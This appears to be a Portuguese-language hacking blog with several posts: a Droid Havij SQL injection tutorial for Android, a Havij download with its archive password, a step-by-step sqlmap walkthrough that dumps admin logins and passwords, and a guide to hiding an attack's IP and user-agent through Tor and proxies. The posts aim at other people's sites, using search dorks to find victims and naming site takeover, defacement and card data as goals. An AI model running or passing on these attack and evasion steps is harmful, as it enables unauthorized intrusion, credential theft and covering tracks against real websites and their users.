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quarta-feira, 10 de janeiro de 2018

Publicado quarta-feira, janeiro 10, 2018 por com 7 comentários

Download e Tutorial de como usar o Droid Havij (Android) - Sem ROOT

O Havij é uma ferramenta de injeção SQL que ajudava os programadores a fazerem testes, encontrar e explorar vulnerabilidades de injeção SQL em suas páginas web. O programa foi desenvolvido pela ITSecTeam, tendo o objetivo de deixar páginas da web mais seguras. Contudo, o programa foi descontinuado no final de 2014 e em janeiro de 2015 o site da ITSecTeam foi fechado, encerrando todas as atividades.

Para não deixar a ideia morrer, um grupo desenvolveu o havij para o sistema Android, chamado Droid Havij. Ele praticamente faz a mesma coisa, sendo uma ferramenta automatizada de injeção SQL, permitindo que você teste seu aplicativo da Web contra ataques de injeção SQL ou invadir sites via celular (Eu pessoalmente não recomendo).

Tudo o que você precisa fazer é encontrar uma URL vulnerável e colocá-la no App. Em poucos minutos você estará obtendo base de dados e todas as informações do servidor. O aplicativo seleciona automaticamente a melhor técnica para usar e emprega alguns métodos simples para burlar os filtros.


Requisitos:
1). Site Vulnerável SQL
2). Telefone Android
3). Ferramenta Droid Havij



Droid Havij suporta as seguintes técnicas de injeção:
* Injeção baseada no tempo
* Injeção cega
* Injeção baseada em erro
* Injeção normal.

Sendo capaz de entrar em bancos:
* MsSQL 2000/2005 with error
* MsSQL 2000/2005 no error union based
* MsSQL Blind
* MySQL time based
* MySQL union based
* MySQL Blind
* MySQL error based
* MySQL time based
* Oracle union based
* Oracle error based
* PostgreSQL union based
* MsAccess union based
* MsAccess Blind
* Sybase (ASE)
* Sybase (ASE) Blind

Tutorial

1. Encontre um site vulnerável na web ou teste seu próprio site. Caso procure na web, use a dork php?id=


2. Teste o site colocando uma aspa simples no final. Por exemplo:
secdigital.blogspot.com.br'
Geralmente, se for vulnerável, aparece um erro SQL como mostrado abaixo

3. Instale o aplicativo. Para instalar o aplicativo é necessário autorizar instalação de aplicativos de fonte desconhecida. Acesse as configurações do seu aparelho e vá até o menu “Segurança” e Localize o item “Fontes desconhecidas”, na seção “Administração do dispositivo”.




4. Ative a opção para permitir a instalação de arquivos APK baixados por fontes alternativas. Abra o aplicativo e coloque o site vulnerável


5. Abra o aplicativo e coloque o site vulnerável

No primeiro exemplo, eu coloquei um site e apertei no botão Inject. Fez o scan, mas não achou vulnerabilidade. 

No segundo exemplo, já encontrou o banco de dados em poucos minutos.

6. Basta dá um clique no banco de dados que você achou e vai mostrar as tabelas do banco.

7. Escolha a tabela desejada, marque os campos que você queira exibir e clique em "Get Records".

8. Após isso, o app vai mostrar os dados da tabela escolhida. Após pegar as credenciais do site, basta descobrir a página admin e logar no site. Não vou mostrar como fazer deface no site e colocar a shell. Essa parte ficará para um próximo tutorial.

OBS.: É através desses defaces que o crackers conseguem as info cc full
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sexta-feira, 13 de maio de 2016

Publicado sexta-feira, maio 13, 2016 por com 27 comentários

Havij 1.14 (melhor versão)

Complementando o post Havij 1.17 PRO vim trazer uma das melhores versões do Havij, a versão 1.14. Praticamente em todos ataques SQL eu uso ele.

Essa versão é a mais prática, não basta instalar nada, apenas descompacte o arquivo Havij 1.14 - Advanced SQL Injection e digite a senha https://secdigital.blogspot.com.br. Para baixar clique aqui.

Primeiramente você deve ter o Winrar instalado ou outro programa que abra arquivos compactados (.rar)


Após digitar a senha, descompacte os arquivos para um local desejado.


Depois de extrair os arquivos, basta executar o Havij






Download: clique aqui
Senha: https://secdigital.blogspot.com.br

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quarta-feira, 13 de abril de 2016

Publicado quarta-feira, abril 13, 2016 por com 0 comentário

Atacar site com a ferramenta SQLMap

A ferramenta sqlmap é muito utilizada no Linux para verificar vulnerabilidades sqlinjection em diversos sites, mas também tem sua versão para o Windows. Como ele tem inúmeras funções, vamos detalhar algumas e efetuar o ataque.



Ao fazer algumas buscas no Google encontramos diversos sites vulneráveis, mas nesse tutorial vamos utilizar um site fictício.

Vamos inserir a página vulnerável:
sqlmap -u http://www.site.com.br/index.php?id=9

Dependendo da versão do sqlmap devemos digitar da seguinte maneira:
python sqlmap.py -u http://www.site.com.br/index.php?id=9

Agora vamos descobrir a versão do Bando de Dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -b

Pegando todos os bancos de dados do site:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --dbs

Como alguns sites retornam muitos bancos de dados é complicado explorar todos, por isso vamos apenas pegar o que o site utiliza:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 --current-db

Agora vamos pegar as tabelas do banco de dados:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables

Explicando os parâmetros:
-D = Indica o nome do banco de dados que será utilizado.
--tables = Pega todas as tabelas do banco de dados.

Supõe que o site retornou as seguintes tabelas:
Notícias
Vídeos
Clientes
Administrador

Vamos descobrir as colunas da tabela que nos interessa, a tabela administrador:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador --columns

Explicando os parâmetros:
-T = Indica qual a tabela que vai ser usada
--columns = Pega todas as colunas da tabela desejada.

Supõe que dentro dessa tabela tinha as seguintes colunas:
nome
email
login
senha

Vamos pegar só as colunas interessantes, login e senha:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump

Explicando os parâmetros:
-C =Indica quais colunas que vou pegar os dados
--dump = Puxa todos os dados

Você também pode retornar todas as tabelas com todas colunas:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco --tables --dump-all

Caso queira aumentar a segurança no ataque pode usar um proxy http,https ou socks:
python sqlmap.py -u http://www.site.com.br/index.php?id=9 -D nomedobanco -T administrador -C login,senha --dump --proxy http://127.0.0.0:9666

Caso queira saber sobre proxys no Sql Injection, veja esse tutorial aqui.


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sexta-feira, 8 de abril de 2016

Publicado sexta-feira, abril 08, 2016 por com 1 comentário

Atacando Anônimo com SQL Injection

Se você acha que é só ligar o TOR ou algum outro proxy e fazer o ataque está muito enganado. Precisamos também configurar a ferramenta, caso contrário você ainda está exposto. Nesse tutorial irei abordar 3 ferramentas: SQLMap (muito utilizado na plataforma Linux), Havij (windows) e Acunetix (scan de vulnerabilidades).

SQLMap

Geralmente atacamos da seguinte maneira:

sqlmap -u vitima.com.br --dbs

Com isso os logs no site saíram assim:

200.98.45.235 - - [08/Abr/2016:17:21:59 -0300] "GET / HTTP /1.1"  200 321 "-" sqlmap/0.9 -rc4 (vitima.com.br)
200.98.45.235 - - [06/Abr/2014:17:22:00 -0300] "GET / HTTP /1.1"  200 321 "-" sqlmap/0.9 -rc4 (vitima.com.br)
200.98.45.235 - - [06/Abr/2014:17:22:00 -0300] "GET / HTTP /1.1"  200 321 "-" sqlmap/0.9 -rc4 (vitima.com.br)
200.98.45.235 - - [06/Abr/2014:17:22:01 -0300] "GET / HTTP /1.1"  200 321 "-" sqlmap/0.9 -rc4 (vitima.com.br)

Nos logs, informações importantes são expostas, como o IP verdadeiro, mesmo usando o TOR, e o user-agent do browser, que no caso é sqlmap.

O primeiro passo é alterar o user-agent:

sqlmap -u vitima.com.br --dbs --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10"

E os logs são expostos dessa maneira:

200.98.45.235 - - [08/Abr/2016:17:24:12 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
200.98.45.235 - - [06/Abr/2014:17:24:12 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
200.98.45.235 - - [06/Abr/2014:17:24:13 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
200.98.45.235 - - [06/Abr/2014:17:24:15 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10

Para camuflar bem o ataque podemos utilizar duas maneiras:

sqlmap -u vitima.com.br --dbs --random-agent  --tor --tor-type=SOCKS5

sqlmap -u vitima.com.br --dbs --user-agent="Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10" --proxy=http://127.0.0.0:9666

OBS.: Na segunda forma estou usando o proxy Ultrasurf.
Assim, os logs saíram da seguinte maneira:

66.23.129.31 - - [08/Abr/2016:17:30:02 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
66.23.129.31 - - [06/Abr/2014:17:30:03 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
66.23.129.31 - - [06/Abr/2014:17:30:04 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10
66.23.129.31 - - [06/Abr/2014:17:30:04 -0300] "GET / HTTP /1.1"  200 321 "-" Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.10) Gecko/20160408 Firefox/40.1.10


Havij

Como é interface gráfica, é muito mais fácil. Primeiro vá em settings, general, marque a caixa "proxy" e no espaço digite 127.0.0.1 e na porta:9666 (TOR não pode ser utilizado no Havij, já que é um socks)
Em "Http Headers" altere o User-Agent para qualquer um de sua preferência, mas não deixe a padrão;
E clique em "Apply"



Acunetix

Vá em Configuration>Scan Settings>LAN Settings
Marque a caixa "Use an Http Proxy Server" e em "hostname" digite 127.0.0.1 e em "port" digite 9666.
Agora vá em HTTP Options e altere o UserAgent

OBS.: No Acunetix é possível usar o TOR como socks.







Outros user-agent que podem ser úteis futuramente:

Internet Explorer: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
Mozilla Firefox: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2
Opera: Opera/9.23 (Windows NT 5.1; U; en-US)
Safari: Opera/9.23 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1
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